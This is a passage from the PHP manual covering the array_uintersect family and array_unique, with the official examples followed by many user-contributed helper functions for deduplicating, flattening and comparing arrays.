In third return we see that all names in $a are in $b (even though the entry in $b whose name is 'John' is different, the anonymous function is only comparing names).
<?
array(0) {
}
?>
dmhouse at gmail dot com 20-Jan-2005 01:44
Very easy way of achieving a case-insensitive version of array_diff (or indeed array_diff_assoc, array_intersect or any of these types of functions which have a similar function that takes a callback function as one of their parameters):

array_udiff($array1, $array2, 'strcasecmp');

This works because strcasecmp() compares two strings case-insensitively, as compared to the array_diff() which compares two strings by using the == operator, which is case-sensitive.
aidan at php dot net 28-May-2004 07:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
array_udiff_uassoc
array_uintersect_assoc
Array Functions


Computes the intersection of arrays with additional index check, compares data by a callback function

array_udiff
array_uintersect_uassoc
Array Functions
PHP Manual

array_uintersect_assoc

(PHP 5)

array_uintersect_assoc — Computes the intersection of arrays with additional index check, compares data by a callback function

Description

array array_uintersect_assoc ( array $array1 , array $array2 [, array $ ... ], callback $data_compare_func )

Computes the intersection of arrays with additional index check, compares data by a callback function.

Note that the keys are used in the comparison unlike in array_uintersect(). The data is compared by using a callback function.

Parameters

array1

The first array.

array2

The second array.

data_compare_func

For comparison is used the user supplied callback function. It must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

Returns an array containing all the values of array1 that are present in all the arguments.

Examples

Example #1 array_uintersect_assoc() example

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect_assoc($array1, $array2, "strcasecmp"));
?>

The above example will output:

Array
(
    [a] => green
)

See Also

  • array_uintersect() - Computes the intersection of arrays, compares data by a callback function
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

User Contributed Notes

There are no user contributed notes for this page.
array_udiff
array_uintersect_uassoc
Array Functions


Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

array_uintersect_assoc
array_uintersect
Array Functions
PHP Manual

array_uintersect_uassoc

(PHP 5)

array_uintersect_uassoc — Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

Description

array array_uintersect_uassoc ( array $array1 , array $array2 [, array $ ... ], callback $data_compare_func , callback $key_compare_func )

Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions Note that the keys are used in the comparison unlike in array_uintersect(). Both the data and the indexes are compared by using separate callback functions.

Parameters

array1

The first array.

array2

The second array.

data_compare_func

For comparison is used the user supplied callback function. It must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

key_compare_func

Key comparison callback function.

Return Values

Returns an array containing all the values of array1 that are present in all the arguments.

Examples

Example #1 array_uintersect_uassoc() example

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect_uassoc($array1, $array2, "strcasecmp", "strcasecmp"));
?>

The above example will output:

Array
(
    [a] => green
    [b] => brown
)

See Also

  • array_uintersect() - Computes the intersection of arrays, compares data by a callback function
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function

User Contributed Notes

aidan at php dot net 31-Aug-2004 03:52
Please note, the correct function synopsis is:

array array_uintersect_uassoc ( array array1, array array2 [, array ...], callback data_compare_func, callback key_compare_func)

You may specifiy as many arrays as you like, but the last two parameters must be valid call back functions.
array_uintersect_assoc
array_uintersect
Array Functions


Computes the intersection of arrays, compares data by a callback function

array_uintersect_uassoc
array_unique
Array Functions
PHP Manual

array_uintersect

(PHP 5)

array_uintersect — Computes the intersection of arrays, compares data by a callback function

Description

array array_uintersect ( array $array1 , array $array2 [, array $ ... ], callback $data_compare_func )

Computes the intersection of arrays, compares data by a callback function.

Parameters

array1

The first array.

array2

The second array.

data_compare_func

The callback comparison function.

The user supplied callback function is used for comparison. It must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

Returns an array containing all the values of array1 that are present in all the arguments.

Examples

Example #1 array_uintersect() example

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect($array1, $array2, "strcasecmp"));
?>

The above example will output:

Array
(
    [a] => green
    [b] => brown
    [0] => red
)

See Also

  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

User Contributed Notes

Nate at RuggFamily dot com 02-Feb-2007 12:03
I want to stress that in the user function, you do need to return either a 1 or a -1 properly; you cannot simply return 0 if the results are equal and 1 if they are not.

The following code is incorrect:

<?php
function myfunction($v1,$v2)
{
if ($v1===$v2)
    {
    return 0;
    }
return 1;
}

$a1=array(1, 2, 4);
$a2=array(1, 3, 4);
print_r(array_uintersect($a1,$a2,"myfunction"));
?>

This code is correct:

<?php
function myfunction($v1,$v2)
{
if ($v1===$v2)
    {
    return 0;
    }
if ($v1 > $v2) return 1;
return -1;
}
$a1=array(1, 2, 4);
$a2=array(1, 3, 4);
print_r(array_uintersect($a1,$a2,"myfunction"));
?>
array_uintersect_uassoc
array_unique
Array Functions


Removes duplicate values from an array

array_uintersect
array_unshift
Array Functions
PHP Manual

array_unique

(PHP 4 >= 4.0.1, PHP 5)

array_unique — Removes duplicate values from an array

Description

array array_unique ( array $array [, int $sort_flags = SORT_STRING ] )

Takes an input array and returns a new array without duplicate values.

Note that keys are preserved. array_unique() sorts the values treated as string at first, then will keep the first key encountered for every value, and ignore all following keys. It does not mean that the key of the first related value from the unsorted array will be kept.

Note: Two elements are considered equal if and only if (string) $elem1 === (string) $elem2. In words: when the string representation is the same. The first element will be used.

Parameters

array

The input array.

sort_flags

The optional second parameter sort_flags may be used to modify the sorting behavior using these values:

Sorting type flags:

  • SORT_REGULAR - compare items normally (don't change types)
  • SORT_NUMERIC - compare items numerically
  • SORT_STRING - compare items as strings
  • SORT_LOCALE_STRING - compare items as strings, based on the current locale.

Return Values

Returns the filtered array.

Changelog

Version | Description
5.2.10 | Changed the default value of sort_flags back to SORT_STRING.
5.2.9 | Added the optional sort_flags defaulting to SORT_REGULAR. Prior to 5.2.9, this function used to sort the array with SORT_STRING internally.

Examples

Example #1 array_unique() example

<?php
$input = array("a" => "green", "red", "b" => "green", "blue", "red");
$result = array_unique($input);
print_r($result);
?>

The above example will output:

Array
(
    [a] => green
    [0] => red
    [1] => blue
)

Example #2 array_unique() and types

<?php
$input = array(4, "4", "3", 4, 3, "3");
$result = array_unique($input);
var_dump($result);
?>

The above example will output:

array(2) {
  [0] => int(4)
  [2] => string(1) "3"
}

See Also

  • array_count_values() - Counts all the values of an array

Notes

Note: Note that array_unique() is not intended to work on multi dimensional arrays.

User Contributed Notes

gma (at) qoob (dot) gr 12-Nov-2011 10:07
Lets say that you want to capture unique values from multidimensional arrays and flatten them in 0 depth.

i.e.
<?php
$tmp = array( 'a' => array( 1,2,3,4 ), 'b' => array( 'c' => array( 4,5,6,7 ) ) );
?>

will return with array_flat( $tmp ) --> array( 1,2,3,4,5,6,7 );

I hope that the function will help someone

<?php
/**
 * @params      : $a            array           the recursion array
 *              : $s            array           storage array
 *              : $l            integer         the depth level
 *
 */
if( !function_exists( 'array_flat' ) )
{
    function array_flat( $a, $s = array( ), $l = 0 )
    {
        # check if this is an array
        if( !is_array( $a ) )                           return $s;

        # go through the array values
        foreach( $a as $k => $v )
        {
            # check if the contained values are arrays
            if( !is_array( $v ) )
            {
                # store the value
                $s[ ]       = $v;

                # move to the next node
                continue;

            }

            # increment depth level
            $l++;

            # replace the content of stored values
            $s              = array_flat( $v, $s, $l );

            # decrement depth level
            $l--;

        }

        # get only unique values
        if( $l == 0 ) $s = array_values( array_unique( $s ) );

        # return stored values
        return $s;

    } # end of function array_flat( ...

}
?>
Friendly Code 01-Aug-2011 03:48
I required a function that removed a specific duplicate entry from an array and ignoring all others so came up with this:

<?php
function specified_array_unique($array, $value)
{
    $count = 0;

    foreach($array as $array_key => $array_value)
    {
        if ( ($count > 0) && ($array_value == $value) )
        {
            unset($array[$array_key]);
        }

        if ($array_value == $value) $count++;
    }

    return array_filter($array);
}
?>
0cool.f 23-May-2011 03:54
Hope this can help...

<?php
function array_unique_key_group($array) {
    if(!is_array($array))
        return false;

    $temp = array_unique($array);
    foreach($array as $key => $val) {
        $i = array_search($val,$temp);
        if(!empty($i) && $key != $i) {
            $temp[$i.','.$key] = $temp[$i];
            unset($temp[$i]);
        }
    }
    return $temp;
}
?>

this function return an array that is unique, but preserve every key for the element...
sorry for bad english I'm italian...

$array['asd'] = 'value';
$array['lol'] = 'value';
$array['foo'] = 'val';
$array['bar'] = 'val';

var_dump(array_unique_key_group($array));
// will be output
array(2) { ["asd,lol"]=> string(5) "value" ["foo,bar"]=> string(3) "val" }
mykelscappin at gmail dot com 30-Mar-2011 05:18
I made an array_unique function to handle deep arrays:

<?php
    function array_unique_deep($array) {
        $values=array();
        //ideally there would be some is_array() testing for $array here...
        foreach ($array as $part) {
            if (is_array($part)) $values=array_merge($values,array_unique_deep($part));
            else $values[]=$part;
        }
        return array_unique($values);
    }

    $test=array(123,456,array(789,123,array(456),789),array(123));
    print_r(array_unique_deep($test));

?>

outputs

Array
(
    [0] => 123
    [1] => 456
    [2] => 789
)
simon 11-Oct-2010 05:01
if you want to close the gaps into the keys after using array_unique() you can use array_values() afterwards. Example:

<?php
a = array("one", "two", "two", "three")
a = array_unique(a);
/* will lead to:
a[0] = "one"
a[1] = "two"
a[3] = "three"
*/
a = array_values(a);
/* Now we've got:
a[0] = "one"
a[1] = "two"
a[2] = "three"
*/
?>
michiel ed thalent nl 18-Jun-2010 05:04
If you use SORT_NUMERIC on this kind of filtering it will be significantly faster.
However the array_flip method still is twice as fast.
Anonymous 16-Jun-2010 05:46
It's often faster to use a foreache and array_keys than array_unique:

    <?php

    $max = 1000000;
    $arr = range(1,$max,3);
    $arr2 = range(1,$max,2);
    $arr = array_merge($arr,$arr2);

    $time = -microtime(true);
    $res1 = array_unique($arr);
    $time += microtime(true);
    echo "deduped to ".count($res1)." in ".$time;
    // deduped to 666667 in 32.300781965256

    $time = -microtime(true);
    $res2 = array();
    foreach($arr as $key=>$val) {
        $res2[$val] = true;
    }
    $res2 = array_keys($res2);
    $time += microtime(true);
    echo "<br />deduped to ".count($res2)." in ".$time;
    // deduped to 666667 in 0.84372591972351

    ?>
regeda at inbox dot ru 12-Apr-2010 08:11
recursive array unique for multiarrays

<?php
function super_unique($array)
{
  $result = array_map("unserialize", array_unique(array_map("serialize", $array)));

  foreach ($result as $key => $value)
  {
    if ( is_array($value) )
    {
      $result[$key] = super_unique($value);
    }
  }

  return $result;
}
?>
brendel at krumedia dot de 24-Feb-2010 11:47
Prior to 5.2.9 you may create a list of unique objects this way:

<?php
for (; ; ) {
  // ...
  $uniqueObjectList[spl_object_hash($myObject)] = $myObject;
}
?>
amri [ at t] dhstudio dot eu 18-Dec-2009 02:36
I searched how to show only the duplicate elements from array, but failed.
Here is my solution:

<?php
function arrayDuplicate($array)
{
return array_unique(array_diff_assoc($array1,array_unique($array1)));
};
?>

Example:
<?php
$arr1 = array('foo', 'bar', 'xyzzy', '&', 'xyzzy',
'baz', 'bat', '|', 'xyzzy', 'plugh',
'xyzzy', 'foobar', '|', 'plonk', 'xyzzy',
'apples', '&', 'xyzzy', 'oranges', 'xyzzy',
'pears','foobar');

$result=arrayDuplicate($arr1);
print_r($result);exit;
?>

Output:

Array
(
[4] => xyzzy
[12] => |
[16] => &
[21] => foobar
)
Youssef Omar 16-Dec-2009 11:09
This is how to merge 2 comma separated lists with unique value only.

<?php
  $list1 = "4444, 5555, 6666";
  $list2 = "4444, 5555, 7777";

  // combine both lists with unique values only
  $list3 = implode("," , array_unique(array_merge(explode(",",$list1),explode(",", $list2))));

  echo $list3;
?>

The result is: 4444,5555,6666,7777
macnimble at gmail dot com 08-Sep-2009 08:24
I'm not sure why you'd use any kind of loop to get the duplicates in an array. Here's a handy little function which does exactly that using some of PHP's other array_* functions.

<?php
function array_not_unique( $a = array() )
{
  return array_diff_key( $a , array_unique( $a ) );
}
?>

Some arrays for testing:

<?php
$person = array();
$person[1] = "person_1";
$person[2] = "person_2";
$person[3] = "person_3";
$person[4] = "person_4";
$person[5] = "person_5";
$person[6] = "person_2"; # DUPE
$person[7] = "person_4"; # DUPE
$person[8] = "person_4"; # DUPE
echo '<pre>',print_r(array_not_unique($person),1),'</pre>';
$person = array();
$person[] = 1;
$person[] = 2;
$person[] = 3;
$person[] = 4;
$person[] = 5;
$person[] = 2; # DUPE
$person[] = 4; # DUPE
$person[] = 4; # DUPE
echo '<pre>',print_r(array_not_unique($person),1),'</pre>';
?>

Output:
Array
(
    [6] => person_2
    [7] => person_4
    [8] => person_4
)

Array
(
    [5] => 2
    [6] => 4
    [7] => 4
)

Hope it helps.
--Bill
steve at visual77 dot com 26-May-2009 04:41
One way to use array_unique() to handle the multidimensional array issue is to use an md5 hash of the serialized array as the key. I've seen some solutions listed here that stored the serialized string, but that requires unserialization, and moving data back and forth between two states for little reason is just a bad idea. Instead, you could try this method:

<?php
$values = array();

foreach($data as $d) {
    $values[md5(serialize($d))] = $d;
}

sort($values);
?>

This will serialize and hash the value, and store the value with the hash as they key. This will ensure that each piece is only stored once, as the second attempt to store will just overwrite the first attempt with identical data.

The sort() at the end is a bit unnecessary, but I had to use it on my project, because the function I was passing the array to couldn't handle keys that weren't valid XML node names (and some md5 hash strings will start with numbers, which is invalid for XML).
dirk dot avery a t gmail 30-Apr-2009 08:45
Although array_unique is not intended to work with multi-dimensional arrays, it does on 5.2.9.  However, it does not for 5.2.5.  Beware.
Ultimater at gmail dot com 20-Apr-2009 06:26
Let's say you have
<?php
$v=array("blue","blue","blue","blue");
if($v[0]==$v[1] && $v[1]==$v[2] && $v[2]==$v[3])
echo "Y"; else echo "N";//Y
?>

It works but the if-statement gets a bit messy if the number of array elements gets massive.
I find it is easier to use array_unique like so:
<?php
$v=array("blue","blue","blue","blue");
echo sizeof(array_unique($v))==1?"Y":"N";//Y
?>
inithello at gmail dot com 11-Mar-2009 11:47
I noticed there was no way to tell array_unique() to ignore certain duplicated keys, so I wrote the following. I imagine there's half a dozen more efficient ways to do this, but here goes:

<?php
$array = array('foo', 'bar', 'xyzzy', '&', 'xyzzy',
               'baz', 'bat', '|', 'xyzzy', 'plugh',
               'xyzzy', 'foobar', '|', 'plonk', 'xyzzy',
               'apples', '&', 'xyzzy', 'oranges', 'xyzzy',
               'pears');

$ignore_values = array('|', '&');

print_r(make_unique($array, $ignore_values));

function make_unique($array, $ignore)
{
    while($values = each($array))
    {
        if(!in_array($values[1], $ignore))
        {
            $dupes = array_keys($array, $values[1]);
            unset($dupes[0]);
            foreach($dupes as $rmv)
            {
                unset($array[$rmv]);
            }
        }
    }
    return $array;
}
?>
OUTPUT:
Array
(
    [0] => foo
    [1] => bar
    [2] => xyzzy
    [3] => &
    [5] => baz
    [6] => bat
    [7] => |
    [9] => plugh
    [11] => foobar
    [12] => |
    [13] => plonk
    [15] => apples
    [16] => &
    [18] => oranges
    [20] => pears
)
serg dot podtynnyi at gmail dot com 06-Feb-2009 11:21
//Remove duplicates from a text files and dump result in one file for example: emails list, links list etc

<?php

$data1 = file("data1.txt");
$data2 = file("data2.txt");

file_put_contents('unique.txt', implode('', array_unique(array_merge($data1,$data2))));
?>
jusvalceanu - SPAM at SPAM - yahoo dot com 06-Nov-2008 02:23
so .... my problem was multidimensional sort.

<?php
      $new = array();
      $exclude = array("");
      for ($i = 0; $i<=count($attribs)-1; $i++) {
         if (!in_array(trim($attribs[$i]["price"]) ,$exclude)) { $new[] = $attribs[$i]; $exclude[] = trim($attribs[$i]["price"]); }
      }

?>

Array $attribs is an array contaning arrays. Each array in the $attrib array consists in multiple fields (ex: name, lenght, price, etc.) to be more simpler in speech think that $attrib is the array resulted by a search sql query done by a visitator on your online shoopping website ... (so ... each array in the $attrib is a product :P) if you want to sort only the uniq results use the above or use this:

<?php

   /* Our Array of products */
   $attribs[] = array(
                           "name"         => "Test Product 1",
                           "length"     => "42 cm",
                           "weight"     => "0,5 kg",
                           "price"     => "10 $",
                           "stock"     => "100",
                        );

   $attribs[] = array(
                           "name"         => "Test Product 2",
                           "length"     => "42 cm",
                           "weight"     => "1,5 kg",
                           "price"     => "10 $",
                           "stock"     => "200",
                        );

    /* The nice stuff */

      $new = array();
      $exclude = array("");
      for ($i = 0; $i<=count($attribs)-1; $i++) {
         if (!in_array(trim($attribs[$i]["price"]) ,$exclude)) { $new[] = $attribs[$i]; $exclude[] = trim($attribs[$i]["price"]); }
      }

      print_r($new); // $new is our sorted array

?>

Have fun tweaking this ;)) i know you will ;))

From Romania With Love
florian at box dot net 08-Oct-2008 01:29
I came across one limitation of array_unique: it doesn't work properly if you have arrays inside your main array.

The reason is that to compare two values, the function tests if (string) $value1 == (string) $value2. So if $value1 and $value2 are both arrays, the function will evaluate the test to 'Array' == 'Array', and decide that the $values are repeated even if the arrays are different.

So a work around is to find a better conversion of an array to a string, which can be done with json:

<?php
print "define an array with repeated scalar '1' and repeated 'array(1)':";
$a_not_unique = array(
    'a' => 1,
    'b' => 1,
    'c' => 2,
    'd' => array(1),
    'e' => array(1),
    'f' => array(2),
);
print_r($a_not_unique);

print "try to use simply array_unique, which will not work since it exludes 'array(2)':";
$a_unique_wrong = array_unique($a_not_unique);
print_r($a_unique_wrong);

print "convert to json before applying array_unique, and convert back to array, which will successfully keep 'array(2)':";
$a_unique_right = $a_not_unique;
array_walk($a_unique_right, create_function('&$value,$key', '$value = json_encode($value);'));
$a_unique_right = array_unique($a_unique_right);
array_walk($a_unique_right, create_function('&$value,$key', '$value = json_decode($value, true);'));
print_r($a_unique_right);
?>

Results:
define an array with repeated scalar '1' and repeated 'array(1)':
Array
(
    [a] => 1
    [b] => 1
    [c] => 2
    [d] => Array
        (
            [0] => 1
        )

    [e] => Array
        (
            [0] => 1
        )

    [f] => Array
        (
            [0] => 2
        )
)

try to use simply array_unique, which will not work since it exludes 'array(2)':
Array
(
    [a] => 1
    [c] => 2
    [d] => Array
        (
            [0] => 1
        )
)

convert to json before applying array_unique, and convert back to array, which will successfully keep 'array(2)':
Array
(
    [a] => 1
    [c] => 2
    [d] => Array
        (
            [0] => 1
        )

    [f] => Array
        (
            [0] => 2
        )
)
quecoder at gmail 25-Aug-2008 10:30
another method to get unique values is :

<?php
$alpha=array('a','b','c','a','b','d','e','f','f');

$alpha= array_keys(array_count_values($alpha));

print_r($alpha);
?>

Output:
Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f )
soapergem at gmail dot com 14-Aug-2008 02:39
Here's another solution for returning an array that only includes repeated values. There is one given below but it only works on numerically indexed arrays; this one is more comprehensive since I used the foreach iterator. Also, this one preserves keys--in that the returned result contains a distinct list of repeats (storing only the first instance it encounters of each duplicate value).

<?php

function array_repeated($array)
{
    if ( !is_array($array) ) {
        return false;
    }

    $duplicates = array();
    foreach ( $array as $key => $val ) {
        end($array);
        $k = key($array);
        $v = current($array);

        while ( $k !== $key ) {
            if ( $v === $val ) {
                $duplicates[$key] = $v;
                                break;
            }

            $v = prev($array);
            $k = key($array);
        }
    }

    return $duplicates;
}

?>
Dorphalsig 28-Jul-2008 09:47
I had a problem with array_unique and multidimensional arrays ... Maybe there's a better way to do this, but this will work for any dimensional arrays.

<?php
function arrayUnique($myArray)
{
    if(!is_array($myArray))
           return $myArray;

    foreach ($myArray as &$myvalue){
        $myvalue=serialize($myvalue);
    }

    $myArray=array_unique($myArray);

    foreach ($myArray as &$myvalue){
        $myvalue=unserialize($myvalue);
    }

    return $myArray;

}
?>
ali at zkurd dot org 19-Jun-2008 01:41
a lot of people create functions just to fix a notice error about an undefined index and removes blank array value.

why not using foreach instead of the for loop?

example:
<?php
foreach ($arrayname as $key => $value) {
    //do what you want with $value withaout index stress
}
?>
PHP Expert 14-Apr-2008 05:34
case insensitive for PHP v4.x and up.

<?php

function in_iarray($str, $a){
foreach($a as $v){
if(strcasecmp($str, $v)==0){return true;}
}
return false;
}

function array_iunique($a){
$n = array();
foreach($a as $k=>$v){
if(!in_iarray($v, $n)){$n[$k]=$v;}
}
return $n;
}

$input = array("aAa","bBb","cCc","AaA","ccC","ccc","CCC","bBB","AAA","XXX");
$result = array_iunique($input);
print_r($result);

/*
Array
(
    [0] => aAa
    [1] => bBb
    [2] => cCc
    [9] => XXX
)
*/
?>
Ray dot Paseur at SometimesUsesGmail dot com 01-Mar-2008 07:46
I needed to identify email addresses in a data table that were replicated, so I wrote the array_not_unique() function:

<?php

function array_not_unique($raw_array) {
    $dupes = array();
    natcasesort($raw_array);
    reset ($raw_array);

    $old_key    = NULL;
    $old_value    = NULL;
    foreach ($raw_array as $key => $value) {
        if ($value === NULL) { continue; }
        if ($old_value == $value) {
            $dupes[$old_key]    = $old_value;
            $dupes[$key]        = $value;
        }
        $old_value    = $value;
        $old_key    = $key;
    }
return $dupes;
}

$raw_array     = array();
$raw_array[1]    = 'abc@xyz.com';
$raw_array[2]    = 'def@xyz.com';
$raw_array[3]    = 'ghi@xyz.com';
$raw_array[4]    = 'abc@xyz.com'; // Duplicate

$common_stuff    = array_not_unique($raw_array);
var_dump($common_stuff);
?>
php_array_unique [at] peterwarnock.com 19-Dec-2007 11:20
To clarify the note above Example #1, the function appears to cast the elements to strings for comparison and then return the type of the first unique element encountered.

<?php
$input = array(0, 2, "2", 3, "9", 9);
$result = array_unique($input);
var_dump($result);
?>

array(4) {
  [0]=>
  int(0)
  [1]=>
  int(2)
  [3]=>
  int(3)
  [4]=>
  string(1) "9"
}
mnbayazit 28-Oct-2007 02:18
case insensitive

<?php
function array_iunique($array) {
    return array_intersect_key($array,array_unique(
                 array_map(strtolower,$array)));
}
?>
xjazey at hotmail dot com 11-Sep-2007 11:50
This is a solution to remove duplicate values from an array

<?php

$array[0] = "Yellow";
$array[1] = "Green";
$array[2] = "Yellow";
$array[3] = "Blue";
$array[4] = "Yellow";

$array = array_keys(array_flip($array));

//$array will output Yellow Green Blue

?>
tsikano at attglobal dot net 21-Aug-2007 04:20
Suggestion for being able to use array_unique on array of arrays/objects:

<?php
foreach ($arrayOfArrays as $key=>$value) {
  $arrayOfArrays[$key] = "'" . serialize($value) . "'";
}
$arrayOfArrays = array_unique($arrayOfArrays);
foreach ($arrayOfArrays as $key=>$value) {
  $arrayOfArrays[$key] = unserialize(trim($value, "'"));
}
?>
webmaster at jukkis dot net 30-Jul-2007 04:08
Another way to 'unique column' an array, in this case an array of objects:
Keep the desired unique column values in a static array inside the callback function for array_filter.

Example:
<?php
/* example object */
class myObj {
  public $id;
  public $value;
  function __construct( $id, $value ) {
    $this->id = $id;
    $this->value = $value;
  }
}

/* callback function */
function uniquecol( $obj ) {
  static $idlist = array();

  if ( in_array( $obj->id, $idlist ) )
    return false;

  $idlist[] = $obj->id;
  return true;
}

/* a couple of arrays with second array having an element with same id as the first */
$list  = array( new myObj( 1, 1  ), new myObj( 2, 100 ) );
$list2 = array( new myObj( 1, 10 ), new myObj( 3, 100 ) );
$list3 = array_merge( $list, $list2 );

$unique = array_filter( $list3, 'uniquecol' );
print_r( $list3 );
print_r( $unique );

?>

In addition, use array_merge( $unique ) to reindex.
arr1 01-Nov-2006 08:59
Just to note that array_unique, treats null values as none unique values. So if your using array_unique to detect duplicate values it will also detect multiple null values.
Ome_Henk 27-Oct-2006 12:16
For people looking at the flip flip method for getting unique values in a simple array. This is the absolute fastest method:

<?php
$unique = array_keys(array_flip($array));
?>

It's marginally faster as:
<?php
$unique = array_merge(array_flip(array_flip($array)));
?>

And it's marginally slower as:
<?php
$unique array_flip(array_flip($array)); // leaves gaps
?>

It's still about twice as fast or fast as array_unique.

This tested on several different machines with 100000 random arrays. All machines used a version of PHP5.
geuis dot teses at gmail dot com 09-Oct-2006 10:27
Here's the shortest line of code I could find/create to remove all duplicate entries from an array and then reindex the keys.

<?php

// Fruits, vegetables, and other food:
$var = array('apple','banana','carrot','cat','dog','egg','eggplant','fish');

$var = array_values(array_unique($var));
?>
keneks at gmail dot com 30-Sep-2006 07:01
Taking the advantage of array_unique, here is a simple function to check if an array has duplicate values.

It simply compares the number of elements between the original array and the array_uniqued array.

<?php
function array_search_dups($array)
{
    $dup_array = $array;
    $dup_array = array_unique($dup_array);
    if(count($dup_array) != count($array))
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}
?>
pulsarkowy at NOSPAM dot gmail dot com 13-Sep-2006 04:30
This function below will remove multiple values from array, remove 'empty' fields an also count how many times the given value occured.

it's rather slow and not 'elegant' but works.

usage:
<?php
$myarray = my_array_unique($myarray);
?>

in return it produces an 3 fields array:
1st is index number, 2nd is the value, 3rd is counter.

<?php
function my_array_unique($tablica)
{

$tnum=count($tablica);
$i=1;
$k=1;
$t[1]['product']="";
$t[1]['count']=1;
while($i<=$tnum) {
  if (!array_multi_search($tablica[$i], $t)) {
    $t[$k]['product']=$tablica[$i];
    $t[$k]['count']=1;
    $k++;
  }
  else {
    $y=1;
    while ($y<=count($t)) {
      if ($t[$y]['product']==$tablica[$i])
        $t[$y]['count']++;
      $y++;
    }

  }

$i++;
}

$tablica=$t;
return $tablica;
}
?>

the function uses another function that i've found on the php.net site (i'm posting it only for informational reasons - i can't remember who wrote it):

<?php
function array_multi_search( $p_needle, $p_haystack )
   {
       if( !is_array( $p_haystack ) )
       {
           return false;
       }

       if( in_array( $p_needle, $p_haystack ) )
       {
           return true;
       }

       foreach( $p_haystack as $row )
       {
           if( array_multi_search( $p_needle, $row ) )
           {
               return true;
           }
       }

       return false;
   }
?>

[EDIT BY danbrown AT php DOT net: The array_multi_search() function was originally written by 'czeslaw' and posted to the in_array() function manual entry on 18 February, 2006.]
uditsawhney at yahoo dot com 15-Jul-2006 12:14
<?php

//Fn for array_unique column-wise for multi-dimensioanl array without losing keys | Start
function array_uniquecolumn($arr)
{
    $rows   = sizeof($arr);
    $columns = sizeof($arr[0]);

    $columnkeys = array_keys($arr[0]);

    for($i=0; $i<$columns; $i++)
    {
        for($j=0;$j<$rows;$j++)
        {
            for($k = $j+1; $k<$rows; $k++)
            {
                if($arr[$j][$columnkeys[$i]] == $arr[$k][$columnkeys[$i]])
                    $arr[$k][$columnkeys[$i]] = "";
            }
        }

    }

return ($arr);

}
//Fn for array_unique column-wise for multi-dimensioanl array without losing keys | Stop

$arrUGCourse[]= array(  "CTR" => "1",

                        "UGCOURSE"=>"ABC",

                        "TSINITIATE"=>"540",

                        "COUNT"=>"34",

                        "ENTRY_DT"=>"2006-05-01",

                        "CUMULATIVE"=> 44);

$arrUGCourse[]= array(  "CTR" => "2",

                        "UGCOURSE"=>"ABC",

                        "TSINITIATE"=>"5401",

                        "COUNT"=>"341",

                        "ENTRY_DT"=>"2006-05-11",

                        "CUMULATIVE"=> 44);

print_r(array_uniquecolumn($arrUGCourse));

?>
MoD 14-Apr-2006 09:02
The shortest way i found to remove duplicate array from a column,
For example if you parse Multiple XML sources, you can remove duplicate items that contain the same link.

<?PHP
function        remove_duplicate($array, $field)
{
  foreach ($array as $sub)
    $cmp[] = $sub[$field];
  $unique = array_unique($cmp);
  foreach ($unique as $k => $rien)
    $new[] = $array[$k];
  return $new;
}
?>
agarcia at rsn dot com dot co 31-Mar-2006 12:41
This is a script for multi_dimensional arrays

<?php
function remove_dup($matriz) {
    $aux_ini=array();
    $entrega=array();
    for($n=0;$n<count($matriz);$n++)
    {
        $aux_ini[]=serialize($matriz[$n]);
    }
    $mat=array_unique($aux_ini);
    for($n=0;$n<count($matriz);$n++)
    {

            $entrega[]=unserialize($mat[$n]);

    }
    return $entrega;
}
?>
mcmeijer at yahoo dot com 27-Jan-2006 05:18
This is a recursive arrayUnique function for arrays of any dimension. (tested with 4-dimensional array)
The line '$newArray=deleteEmpty($newArray);' is optional and removes empty keys and values
<?php
function arrayUnique($myArray)
    {
    $newArray = Array();
    if (is_array($myArray))
        {
        foreach($myArray as $key=>$val)
            {
            if (is_array($val))
                {
                $val2 = arrayUnique($val);
                }
            else
                {
                $val2 = $val;
                $newArray=array_unique($myArray);
                $newArray=deleteEmpty($newArray);
                break;
                }
            if (!empty($val2))
                {
                $newArray[$key] = $val2;
                }
            }
        }
    return ($newArray);
    }

function deleteEmpty($myArray)
    {
    $retArray= Array();
    foreach($myArray as $key=>$val)
        {
        if (($key<>"") && ($val<>""))
            {
            $retArray[$key] = $val;
            }
        }
    return $retArray;
    }
?>
memandeemail at gmail dot com 03-Jan-2006 10:47
Problem:
I have loaded an array with the results of a database
query.  The Fields are 'FirstName' and 'LastName'.

I would like to find a way to contactenate the two
fields, and then return only unique values for the
array.  For example, if the database query returns
three instances of a record with the FirstName John
and the LastName Smith in two distinct fields, I would
like to build a new array that would contain all the
original fields, but with John Smith in it only once.
Thanks for: Colin Campbell

Solution:

<?php
/**
 * The same thing than implode function, but return the keys so
 *
 * <code>
 * $_GET = array('id' => '4587','with' => 'key');
 * ...
 * echo shared::implode_with_key('&',$_GET,'='); // Resultado: id=4587&with=key
 * ...
 * </code>
 *
 * @param string $glue Oque colocar entre as chave => valor
 * @param array $pieces Valores
 * @param string $hifen Separar chave da array do valor
 * @return string
